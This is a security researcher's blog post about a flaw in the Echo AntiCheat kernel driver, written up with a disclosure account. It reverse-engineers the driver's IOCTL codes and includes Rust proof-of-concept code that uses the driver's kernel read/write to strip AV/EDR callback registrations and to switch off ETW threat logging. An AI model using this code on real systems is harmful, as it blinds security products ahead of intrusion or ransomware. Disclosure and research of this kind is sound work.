1 Credits

2 Introduction

In the realm of today’s cyberspace the adoption of an Antivirus (AV) or an Endpoint Detection and Response (EDR) software plays a crucial role in securing a computer system from malicious threats. In today’s digital world, having an Antivirus or Endpoint Detection and Response software is like putting a lock on your door to protect your computer. While it can block less sophisticated attacks, it might not catch really sophisticated ones. Cybercrime today is like a game of catch-me-if-you-can, as attackers keep getting smarter with their methods.

3 Functionality: User-mode vs Kernel-mode

A computer is built up from two different modes, user-mode and kernel-mode. When a user-mode program requests to run, a process and a virtual address space is created by Windows. Programs running in user-mode are less privileged than user-mode applications. If a user-mode application wants to access system resources, it will first have to go through the kernel by using syscalls.

In kernel-mode all code shares a single virtual address space. Therefore a kernel-mode driver does not experience any isolation from other drivers. When a driver writes data to the wrong virtual address it can overwrite data belonging to another driver. If a kernel-mode driver crashes, the entire OS crashes (also known as a Blue Screen of Death (BSOD)).

usermode vs kernelmode

4 Unveiling Driver Vulnerability

Echo AC, or Echo AntiCheat, serves as an anti-cheat solution designed to identify and prevent cheating among users. It achieves this by conducting memory scans, examining recently visited websites, scrutinizing files within your recycle bin, and collecting a comprehensive set of data. This software, however, is notably intrusive in terms of user privacy. Game server administrators typically mandate its usage, and non-compliance may result in restrictions from accessing their game servers.

Echo AC utilizes a kernel-mode driver to access data from various processes without implementing sufficient access control mechanisms to restrict which programs can communicate with this driver. Merely obtaining a handle to the driver and issuing the appropriate IOCTL codes is sufficient to have the driver fulfill your requests.

With the theoretical background and backstory now set aside, let’s delve into the operational aspects of this driver.

driversign

When inspecting the certificate of the driver we can see a few things. The driver was signed on Wednesday 16 December, 2020 at 0:25:28 and is valid to Friday 3 December 2021. Take in mind that at the day of writing this certificate is nearly 2 years overdue.

When opening the Driver within Ghidra, we can follow the call to mmCopyVirtualMemory to the functions that uses this function. In our case only 1 reference was found to mmCopyVirtualMemory and this reference I called CopyMemory as this is what the function does.

copyvirtualmemory

When following the reference we get a pseudo-decompiled version of the function CopyMemory, I renamed some of the variables to make it more simplistic to get the feeling of what’s going on and how it all works.

copymemoryfunction

The mmCopyVirtualMemory function parameters look like this:


NTSTATUS NTAPI MmCopyVirtualMemory
(
    PEPROCESS SourceProcess,
    PVOID SourceAddress,
    PEPROCESS TargetProcess,
    PVOID TargetAddress,
    SIZE_T BufferSize,
    KPROCESSOR_MODE PreviousMode,
    PSIZE_T ReturnSize
);

Now we know what function is responsible for copying and pasting, we still need to figure out how we can access/use this function to our advantage. To see where our copy function is being used we can look for the references. When we double click our CopyMemory function we get to see the references, one of which is 14000197c when we click this reference we will be taken to where the function is called.

copymemoryreference

When we follow this reference, we are dropped in the main part of the driver. We are able to see what is callable with IOCTL codes that we can send to the driver. It may not say much right now but we’ll slowly walk through it.

mainpartofdriver

Let’s start simple with the question, what can we see? We see a bunch of if and else statements, these if/else statements are comparing for a value and do something according to the result. These values are actually IOCTL codes (for example if (iVar5 == -0x6195fa6c)) to tell the driver to do a certain action, but now how do we call it?

When we follow the first if else statement, we can see a comparision against a value but what is the else about? when we double click on LAB_140001b03 we can see what the else does for us.

ifelse

The else statement in this case makes the driver exit, which is not something we want so we will have to make sure we’re not exiting out of the driver.

We can bypass the comparison, because we can literally see what it compares with.

compare

As the above image shows it compares the EDI register with the value 0x9e6a0594, we can thus call the driver using the IOCTL code of 0x0x9e6a0594 bypassing the check. Now to not let the driver crash upon itself we need to set a buffer which is necessary for BCrypt. We can see at the end that ppUvar2 is being set to 0x1000 which means 4096 in decimal. A buffer of 4096 should thus be sufficient for BCrypt to put it’s data into, if we do not create this buffer the driver will cause a BSOD (Blue Screen Of Death).

Let’s apply the logic we just learned to the next IOCTL code we can find.

function2

As we can see the next function we can call is accessable by calling the IOCTL code of 0xe6224248. Now lets take a step back and take in the view of the second function. We see PsLookupProcessByProcessId, ObOpenObjectByPointer and ObfDereferenceObject.

From the Microsoft documentation (MSDN) page PsLookupProcessByProcessId function routine accepts the process ID of a process and returns a referenced pointer to the EPROCESS structure of the process. The first argument to the function is the ProcessId and the second arguement is a pointer to the EPROCESS structure of the process specified by the ProcessId. This means that puVar3 is the ProcessId and uStack344 is the EPROCESS structure pointer.

When we clean up the decompiled code a bit we get the following:

cleanedupimage

Microsoft Documentation (MSDN) describes the following about ObOpenObjectByPointer, The ObOpenObjectByPointer function opens an object referenced by a pointer and returns a handle to the object. This means that this function returns a handle to the process that we are specifying by the process id.

Now the most interesting part of the driver, reading and writing memory. This function can be called using the IOCTL code of: 0x60a26124 and looks like the following: copymemory

MSDN describes the function of ObReferenceObjectByHandle as the following: The ObReferenceObjectByHandle routine provides access validation on the object handle, and, if access can be granted, returns the corresponding pointer to the object’s body. This means that the driver is checking if it has access to the process that we specified using the process id, if successful it continues with copying the memory.

5 EDR and AV

This paragraph explains the basic concepts concerning the inner functions of EDR and AVs and also goes in-depth in how to disable them.

5.1 Innerworkings of EDR and AV

Most, if not all, of todays EDR and AV solutions run in both user-mode and kernel-mode. Most antivirus and endpoint detection and response (EDR) products use API hooking in userland and callbacks/event subscriptions for kernelmode.

In order to find malicious behaviour in process the AV/EDR will inject their own Dynamic Link Library (DLL). This DLL hooks Windows API calls that are frequently used for malicious activity. Since API hooks are placed within the address space of a program, that program can also access/overwrite these hooks which in turn makes the hooks placed by the AV/EDR useless. You can see why there should be a fallback option so that this can be monitored and prevented.

https://github.com/Mr-Un1k0d3r/EDRs lists user-mode hooks for populair EDR/AV providers like CrowdStrike, SentinelOne, Bitdefender and McAfee.

apihooking

An EDR and AV also use a kernel driver to monitor actions of the system. Since all user-mode applications have to run through the kernel this is a perfect place to position yourself as a protection provider. The reason for this is that the kernel is a bottleneck which can be utilized to give the highest order of protection.

The most commonly employed callback functions by EDRs and AVs include the following:

  • PspCreateProcessNotifyRoutine for process creation;
  • PspCreateThreadNotifyRoutine for thread creation;
  • PspLoadImageNotifyRoutine for image loading;

EDRs and AVs do not solely reply on callback functions to determine malicious actions, they can also register to get informed by Event Tracing for Windows, also known as ETW. ETW logs data usage on APIs which the EDR/AV can use to determine if specific actions are considered malicious and consequently block them.

6 Proof-of-Concept

This Proof-of-Concept shows the usage of disabling protection providers using kernel notify routine patching and etw threat disabling. It achieves this by cross referencing every driver that has a registered kernel notify routine with a set list of AV/EDR providers, when a match has been found it will null out the callback for this driver. Disabling ETW Threat provider is done by switching a bit from ENABLED (1) to DISABLED (0).

The complete code can be found here: https://github.com/ThottySploity/echoac-edr-poc

The following code sets up the initial connection with the EchoDrv:


    pub unsafe fn load() -> HANDLE {
        // IOCTL Code - 0x9e6a0594

        // sc create EchoDrv binpath=C:\PathToDriver.sys type= kernel && sc start EchoDrv
        let handle_driver = CreateFileW(
            Utils::convert_string_to_mut_u16("\\\\.\\EchoDrv".to_string()),
            GENERIC_READ | GENERIC_WRITE,
            FILE_SHARE_READ | FILE_SHARE_WRITE,
            null_mut(),
            OPEN_EXISTING,
            0,
            0,
        );

        if handle_driver == INVALID_HANDLE_VALUE {
            error!("Failed to load driver");
            return 0;
        }

        let size = 4096;
        let layout = Layout::from_size_align(size, std::mem::align_of::<u8>()).unwrap();

        // Allocate memory on the heap and obtain a raw pointer to it
        let buf: *mut u8 = unsafe { alloc(layout) as *mut u8 };

        if DeviceIoControl(
            handle_driver,
            0x9e6a0594,
            null_mut(),
            0,
            buf as *mut c_void,
            4096,
            null_mut(),
            null_mut(),
        ) == 0
        {
            error!(
                "Calling driver with: 0x9e6a0594 failed\n{}",
                Error::last_os_error()
            );
            CloseHandle(handle_driver);

            return 0;
        }

        // Free the buffer
        unsafe { dealloc(buf as *mut _, layout) };
        handle_driver
    }

To continue, we get the handle to our own process, for this we use GetCurrentProcessId and the following fuction:


    #[repr(C)]
    #[derive(Copy, Clone)]
    struct k_get_handle {
        pid: u32,
        access: u32,
        handle: HANDLE,
    }

    pub unsafe fn get_handle_pid(handle_driver: HANDLE, pid: u32) -> HANDLE {
        // IOCTL Code - 0xe6224248

        let mut param: k_get_handle = std::mem::zeroed();

        param.pid = pid;
        param.access = 0x10000000; // GENERIC_ALL

        if DeviceIoControl(
            handle_driver,
            0xe6224248,
            &mut param as *const _ as *const c_void,
            std::mem::size_of::<k_get_handle>() as u32,
            &mut param as *mut _ as *mut c_void,
            std::mem::size_of::<k_get_handle>() as u32,
            null_mut(),
            null_mut(),
        ) == 0
        {
            error!(
                "Calling driver with: 0xe6224248 failed\n{}",
                Error::last_os_error()
            );
            CloseHandle(handle_driver);
            return 0;
        }

        param.handle
    }

Now comes the fun part, enumerating the edr drivers that use callbacks for process, thread and image creation. The code is a bit long, so I will disect it a bit to make it more understandable.


	let (_, create_process, create_thread, load_image, _, _, _, _, _, _, _) = Offsets::get_offsets(ntos_kernel_version);
        let routines = vec!["CreateProcess", "CreateThread", "LoadImage"];
        let offsets = vec![create_process, create_thread, load_image];
        let mut counter = 0;

We get the right offsets from our predefined offset list, as this is only a Proof-of-Concept I have not made it dynamic and all offsets are static. Even though the offsets are all hardcoded, it supports over 600 different windows kernel versions. Firstly we parse our ntos kernel version to the offsets functions, which returns the offsets for CreateProcess, CreateThread and LoadImage routines.


	for routine in routines {
                let psp_routine = Utils::make_psp_routine(routine);
                let psp_routine_addr = Utils::get_notify_address(ntos_kernel_base_address, offsets[counter] as usize);

Secondly we loop through our three routines, create the right name for them (which is just a format!("Psp{}NotifyRoutine", routine)) and get the address of our routine. The address is gotten from leaking our ntos kernel base address and adding the routine offset to it. So let’s say our base address is 0 and our routine offset is at 100 our routine address becomes 100, as 0 + 100 = 100.

Lastly, where the magic happends:


	for i in 0..64 {
                    let mut call_back_struct: u64 = 0;
                    let size = std::mem::size_of_val(&call_back_struct) as u64;
                    Driver::memory(driver_handle, (psp_routine_addr + (i * 8)) as u64, &mut call_back_struct, size, own_process_handle);

                    if call_back_struct != 0 {
                        let callback = (call_back_struct & !0b1111) + 8;
                        let mut function: u64 = 0;
                        let size = std::mem::size_of_val(&function) as u64;

                        Driver::memory(driver_handle, callback, &mut function, size, own_process_handle);
                        
                        let mut driver_offset: u64 = 0;
                        let driver_name = Utils::get_driver(function, &mut driver_offset);

                        if !driver_name.clone().is_empty() && Utils::is_driver_name_edr(driver_name.clone()) {
                            let call_back_addr: u64 = (psp_routine_addr + (i * 8)) as u64;

                            edr_drivers.push(FoundEdrDrivers {
                                driver_name: driver_name.clone(),
                                routine: psp_routine.to_string(),
                                call_back_func: function,
                                call_back_struct: call_back_struct,
                                call_back_struct_addr: call_back_addr,
                                removed: false,
                            });
                        }
                    }
                }

It looks like a lot doesn’t it? yeah you’re right, but let’s see if we can clear this up! The Psp create notify routine creates an array of < 64 items, hence why we loop through 64 iterations. The first 8 bytes represent an EX_RUNDOWN_REF structure, so we can jump past them to get the address of the callback function inside of a driver.

If the driver is found to be an EDR associated driver, it gets added to a vector containing information about the Driver. To patch or null the driver from this array, we only have to overwrite the call back struct addr with 0.

So how does this look in practice? well something like this:

running poc

7 Responsible Disclosure: Mitigating Risks

As part of my research, I firstly inform the supplier of software before making a post about it. For this reason I waited roughly two months with writing this blogpost. When I joined Echo AntiCheat’s official discord I was directly met with an announcement, see below. Within the announcement Echo Anticheat makes a couple bold statements; The driver is automatically deleted following usage, poses no security risk to the user, considered standard practices at the time, there is no CVE and all vulnerabilities related to this product EchoDrv are only based on inaccuracies and rumors.

cve

There is indeed not a CVE for the EchoDrv vulnerability yet, but that’s why we have the Common Vulnerability Scoring System or CVSS for short. CVSS lets you calculate a score from 0-10 on how critical a vulnerability is. The CVSS score for EchoDrv is a 8.2 denoted as a high vulnerability (https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).

The driver may be deleted automatically with the original usermode anticheat, this is not the case for software abusing this driver to either cheat, privilege escalate, protect processes or incapacitate AV/EDR. This vulnerability does not only pose a severe risk to the overall security of the systems of users but also those of companies! Just take a look at this article where a ransomware groups abuses a abritrary read/write (just like in EchoDrv) to disable AV/EDR to deploy ransomware: https://www.bleepingcomputer.com/news/security/blackbyte-ransomware-abuses-legit-driver-to-disable-security-products/

Anyways, enough ranting here is the complete chat I had with Josh from Echo Anticheat.

josh josh2

After this little chat I met the same faith as the first security researcher, banned from their discord server for trying to disclose a vulnerability.

Thank you for reading this write up and I want to close this blog post with a qoute which I found to be very fitting for this situation:

“Facts do not cease to exist because they are ignored” - Aldous Huxley

8 References